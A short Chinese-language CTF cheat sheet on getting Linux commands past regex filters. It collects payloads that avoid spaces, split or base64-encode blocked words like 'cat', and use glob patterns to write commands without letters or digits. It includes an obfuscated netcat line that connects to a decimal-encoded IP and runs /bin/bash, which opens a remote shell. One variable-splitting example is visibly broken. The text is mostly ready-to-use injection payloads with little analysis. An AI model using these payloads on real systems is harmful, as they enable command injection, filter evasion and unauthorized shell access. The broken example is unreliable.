linux命令绕过
前言:
做ctf时常常会遇到一些正则匹配将一些linux命令给过滤掉,这里将总结一些针对性的绕过方式。
一、空格绕过:
{cat,flag.txt} cat${IFS}flag.txt cat$IFS$9flag.txt cat<flag.txt cat<>flag.txt kg=$'\x20flag.txt'&&cat$kg (\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
二、敏感字符绕过:
假设过滤了cat
1.利用变量绕过:
ac;b=at;$a$b
2.利用base编码绕过
`echo 'Y2F0Cg==' | base64 -d` test.txt
3.连接符截断绕过:
c'a't test.txt c\at test.txt ca$@t test.txt
三、通配符绕过
?在linux里面可以进行代替一个任意字符:
/???/[l-n]s 可替代ls
/???/c?t test.txt 可替代cat test.txt
*在linux里面可以代替任意个任意字符:
ls *.php 列出当前目录下所有php文件
无字母数字匹配:
如果我们遇到一个正则将字母数字$这些都过滤掉,要我们执行一个脚本的话.
假如脚本名称为chakdiD且在根目录/etc下,我们可以用:
. /???/???????[@-[]
[@-[]表示取从@到[之间的字符,这之间的字符都为大写字母。这样就实现了无字母数字匹配的命令,就可以绕过正则了。
给一个匹配表:
字符 | 解释 |
* |
匹配任意长度任意字符 |
? |
匹配任意单个字符 |
[list] |
匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合 |
[^list] |
匹配指定范围外的任意单个字符或字符集合 |
[!list] |
同[^list] |
{str1,str2,…} |
匹配 srt1 或者 srt2 或者更多字符串,也可以是集合 |
几个例子:
/???/[:lower:]s /?s?/???/[n]c 2130706433 8888 -e /???/b??h ls {/ru,/tmp}n
字符匹配表参考:https://www.secpulse.com/archives/96374.html
参考大佬的通配符利用:https://www.freebuf.com/articles/web/186298.html